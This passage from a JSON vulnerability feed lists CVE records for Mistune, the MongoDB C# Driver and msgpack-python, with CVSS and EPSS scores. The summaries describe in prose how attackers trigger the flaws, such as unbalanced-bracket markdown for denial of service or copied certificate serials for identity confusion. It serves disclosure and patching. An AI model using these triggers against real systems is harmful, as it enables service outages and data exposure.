fixes.","publishedAt":"2026-10-22T19:17:41.373Z","updatedAt":"2026-10-22T19:17:41.483Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115354","asOf":"2026-10-22T19:17:41.483Z"},"epss":{"probability":0.00333,"percentile":0.26339,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115354&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115354","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115354","type":"primary","publishedAt":"2026-10-22T19:17:41.373Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115354&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115354, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115352","cveId":"CVE-2026-115352","aliases":[],"kind":"vulnerability","title":"Mistune before 3.3.0 contains an algorithmic complexity vulnerability in the inline link parser that allows unauthenticated attackers to exhaust CPU by submitting long runs of...","summary":"Mistune before 3.3.0 contains an algorithmic complexity vulnerability in the inline link parser that allows unauthenticated attackers to exhaust CPU by submitting long runs of unmatched '[' characters. Attackers can send small markdown payloads that trigger O(N^2) parse_link_text and parse_link_label probing, occupying rendering workers for 30+ seconds per 16 KB input.","detail":"Mistune before 3.3.0 contains an algorithmic complexity vulnerability in the inline link parser that allows unauthenticated attackers to exhaust CPU by submitting long runs of unmatched '[' characters. Attackers can send small markdown payloads that trigger O(N^2) parse_link_text and parse_link_label probing, occupying rendering workers for 30+ seconds per 16 KB input.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:41.077Z","updatedAt":"2026-10-23T21:17:22.050Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115352","asOf":"2026-10-23T21:17:22.050Z"},"epss":{"probability":0.00439,"percentile":0.37834,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115352&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115352","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115352","type":"primary","publishedAt":"2026-10-22T19:17:41.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115352&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115352, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115349","cveId":"CVE-2026-115349","aliases":[],"kind":"vulnerability","title":"Mistune from 3.0.0 before 3.3.0 contains an algorithmic complexity denial of service vulnerability in the parse_link_text function in src/mistune/helpers.py.","summary":"Mistune from 3.0.0 before 3.3.0 contains an algorithmic complexity denial of service vulnerability in the parse_link_text function in src/mistune/helpers.py. Attackers can submit markdown with deeply nested square brackets triggering quadratic parsing time, exhausting server CPU with small crafted requests.","detail":"Mistune from 3.0.0 before 3.3.0 contains an algorithmic complexity denial of service vulnerability in the parse_link_text function in src/mistune/helpers.py. Attackers can submit markdown with deeply nested square brackets triggering quadratic parsing time, exhausting server CPU with small crafted requests.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:40.597Z","updatedAt":"2026-10-22T19:17:40.723Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115349","asOf":"2026-10-22T19:17:40.723Z"},"epss":{"probability":0.00344,"percentile":0.27643,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115349&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115349","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115349","type":"primary","publishedAt":"2026-10-22T19:17:40.597Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115349&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115349, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115348","cveId":"CVE-2026-115348","aliases":[],"kind":"vulnerability","title":"Mistune from 3.0.0 before 3.3.0 contains an algorithmic complexity vulnerability in the inline link parser's parse_link_text function that allows unauthenticated attackers to...","summary":"Mistune from 3.0.0 before 3.3.0 contains an algorithmic complexity vulnerability in the inline link parser's parse_link_text function that allows unauthenticated attackers to exhaust CPU with unbalanced brackets. Attackers can submit Markdown containing many unbalanced '[' or '![' characters, forcing repeated unbounded forward scans and tying up worker processes for minutes.","detail":"Mistune from 3.0.0 before 3.3.0 contains an algorithmic complexity vulnerability in the inline link parser's parse_link_text function that allows unauthenticated attackers to exhaust CPU with unbalanced brackets. Attackers can submit Markdown containing many unbalanced '[' or '![' characters, forcing repeated unbounded forward scans and tying up worker processes for minutes.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:40.430Z","updatedAt":"2026-10-23T21:17:21.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115348","asOf":"2026-10-23T21:17:21.933Z"},"epss":{"probability":0.00438,"percentile":0.37803,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115348&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115348","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115348","type":"primary","publishedAt":"2026-10-22T19:17:40.430Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115348&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115348, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115347","cveId":"CVE-2026-115347","aliases":[],"kind":"vulnerability","title":"Mistune before 3.3.0 contains an inefficient algorithmic complexity vulnerability in parse_link_text that allows remote attackers to cause denial of service through unbalanced...","summary":"Mistune before 3.3.0 contains an inefficient algorithmic complexity vulnerability in parse_link_text that allows remote attackers to cause denial of service through unbalanced square brackets. Attackers can submit markdown containing long runs of unmatched brackets to mistune.html(), triggering repeated forward scans that stall worker processes for minutes.","detail":"Mistune before 3.3.0 contains an inefficient algorithmic complexity vulnerability in parse_link_text that allows remote attackers to cause denial of service through unbalanced square brackets. Attackers can submit markdown containing long runs of unmatched brackets to mistune.html(), triggering repeated forward scans that stall worker processes for minutes.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:40.267Z","updatedAt":"2026-10-22T19:17:40.387Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115347","asOf":"2026-10-22T19:17:40.387Z"},"epss":{"probability":0.0041,"percentile":0.34959,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115347&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115347","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115347","type":"primary","publishedAt":"2026-10-22T19:17:40.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115347&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115347, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114653","cveId":"CVE-2026-114653","aliases":[],"kind":"vulnerability","title":"A client-side encryption schema construction component in the MongoDB C# Driver places caller-supplied field identifiers into a position that is interpreted as a pattern...","summary":"A client-side encryption schema construction component in the MongoDB C# Driver places caller-supplied field identifiers into a position that is interpreted as a pattern expression, without normalizing or validating them. As a result, an application that designates certain fields for client-side field-level encryption may have the protection silently fail to apply, so data intended to be encrypted is stored and returned in cleartext; conversely, the rule may apply more broadly than intended. No user action is required to cause the condition, and any party with ordinary read access to the stored data — without possession of the encryption keys — can observe the unprotected values.","detail":"A client-side encryption schema construction component in the MongoDB C# Driver places caller-supplied field identifiers into a position that is interpreted as a pattern expression, without normalizing or validating them. As a result, an application that designates certain fields for client-side field-level encryption may have the protection silently fail to apply, so data intended to be encrypted is stored and returned in cleartext; conversely, the rule may apply more broadly than intended. No user action is required to cause the condition, and any party with ordinary read access to the stored data — without possession of the encryption keys — can observe the unprotected values.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:39.307Z","updatedAt":"2026-10-23T19:45:03.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114653","asOf":"2026-10-23T19:45:03.547Z"},"epss":{"probability":0.00214,"percentile":0.11628,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114653&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114653","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114653","type":"primary","publishedAt":"2026-10-22T19:17:39.307Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114653&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114653, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114652","cveId":"CVE-2026-114652","aliases":[],"kind":"vulnerability","title":"A data-query-logic neutralization weakness in the update-statement construction component of the MongoDB C# Driver can cause application-supplied values to be interpreted as...","summary":"A data-query-logic neutralization weakness in the update-statement construction component of the MongoDB C# Driver can cause application-supplied values to be interpreted as query/update logic rather than as literal data. An application user who can influence the content of values that the application passes into the affected builder surface, without any special privilege beyond ordinary read-write application access, may cause stored data to be modified or removed in ways the application never intended. The result is unauthorized integrity impact on the affected application data; there is no direct loss of confidentiality or availability of the database service.","detail":"A data-query-logic neutralization weakness in the update-statement construction component of the MongoDB C# Driver can cause application-supplied values to be interpreted as query/update logic rather than as literal data. An application user who can influence the content of values that the application passes into the affected builder surface, without any special privilege beyond ordinary read-write application access, may cause stored data to be modified or removed in ways the application never intended. The result is unauthorized integrity impact on the affected application data; there is no direct loss of confidentiality or availability of the database service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:39.147Z","updatedAt":"2026-10-23T19:45:03.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114652","asOf":"2026-10-23T19:45:03.547Z"},"epss":{"probability":0.00299,"percentile":0.22407,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114652&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114652","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114652","type":"primary","publishedAt":"2026-10-22T19:17:39.147Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114652&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114652, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114649","cveId":"CVE-2026-114649","aliases":[],"kind":"vulnerability","title":"The MongoDB C# Driver compares TLS client certificates by issuer and serial number only when deciding whether two clients can share cached connections.","summary":"The MongoDB C# Driver compares TLS client certificates by issuer and serial number only when deciding whether two clients can share cached connections. In an application that creates clients from certificates supplied by different users, a user who provides a certificate copying another user's issuer and serial number, without that user's private key, can be given connections authenticated with the other user's certificate. Database operations can then run under the other user's identity, affecting the confidentiality and integrity of data that identity can access.","detail":"The MongoDB C# Driver compares TLS client certificates by issuer and serial number only when deciding whether two clients can share cached connections. In an application that creates clients from certificates supplied by different users, a user who provides a certificate copying another user's issuer and serial number, without that user's private key, can be given connections authenticated with the other user's certificate. Database operations can then run under the other user's identity, affecting the confidentiality and integrity of data that identity can access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:38.703Z","updatedAt":"2026-10-23T19:45:03.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114649","asOf":"2026-10-23T19:45:03.547Z"},"epss":{"probability":0.002,"percentile":0.0968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114649&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114649","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114649","type":"primary","publishedAt":"2026-10-22T19:17:38.703Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114649&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114649, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114648","cveId":"CVE-2026-114648","aliases":[],"kind":"vulnerability","title":"The MongoDB C# Driver does not neutralize dot and dollar characters in dictionary keys, field names and array-filter identifiers used in LINQ queries before placing them into the...","summary":"The MongoDB C# Driver does not neutralize dot and dollar characters in dictionary keys, field names and array-filter identifiers used in LINQ queries before placing them into the field paths it sends to the server. An application user whose input reaches these positions can redirect a query or update to fields the application did not name, which can expose other users' documents and widen updates beyond the intended data. Certain values can also write malformed fields that leave stored documents unreadable by the application until they are repaired.","detail":"The MongoDB C# Driver does not neutralize dot and dollar characters in dictionary keys, field names and array-filter identifiers used in LINQ queries before placing them into the field paths it sends to the server. An application user whose input reaches these positions can redirect a query or update to fields the application did not name, which can expose other users' documents and widen updates beyond the intended data. Certain values can also write malformed fields that leave stored documents unreadable by the application until they are repaired.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:38.567Z","updatedAt":"2026-10-23T19:45:03.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114648","asOf":"2026-10-23T19:45:03.547Z"},"epss":{"probability":0.00321,"percentile":0.24874,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114648&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114648","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114648","type":"primary","publishedAt":"2026-10-22T19:17:38.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114648&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114648, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114644","cveId":"CVE-2026-114644","aliases":[],"kind":"vulnerability","title":"The MongoDB C# Driver's BSON library contains an uncontrolled resource consumption weakness in its deserialization handling of one BSON value type.","summary":"The MongoDB C# Driver's BSON library contains an uncontrolled resource consumption weakness in its deserialization handling of one BSON value type. An application that deserializes untrusted content with the library retains data derived from that content for the lifetime of the process, with no limit on how much accumulates. An unauthenticated remote party who can cause such content to be deserialized can drive unbounded memory growth, exhausting the host application's available memory and denying service. There is no impact to confidentiality or integrity, and no MongoDB server component is affected.","detail":"The MongoDB C# Driver's BSON library contains an uncontrolled resource consumption weakness in its deserialization handling of one BSON value type. An application that deserializes untrusted content with the library retains data derived from that content for the lifetime of the process, with no limit on how much accumulates. An unauthenticated remote party who can cause such content to be deserialized can drive unbounded memory growth, exhausting the host application's available memory and denying service. There is no impact to confidentiality or integrity, and no MongoDB server component is affected.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:38.023Z","updatedAt":"2026-10-23T19:45:03.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114644","asOf":"2026-10-23T19:45:03.547Z"},"epss":{"probability":0.00481,"percentile":0.41175,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114644&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114644","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114644","type":"primary","publishedAt":"2026-10-22T19:17:38.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114644&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114644, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114613","cveId":"CVE-2026-114613","aliases":[],"kind":"vulnerability","title":"MessagePack is the serializer implementation for Python msgpack.org.","summary":"MessagePack is the serializer implementation for Python msgpack.org. Prior to 1.2.3, the msgpack-python C extension (msgpack._cmsgpack) leaks a decoded map value when deserialization rejects a key with strict_map_key=True (the default). Repeated malformed inputs can cause unbounded process memory growth and denial of service in applications that deserialize attacker-controlled MessagePack data. Both unpackb() and the streaming Unpacker API are affected. The pure-Python fallback does not exhibit this leak in the reported tests. This issue is fixed in version 1.2.3.","detail":"MessagePack is the serializer implementation for Python 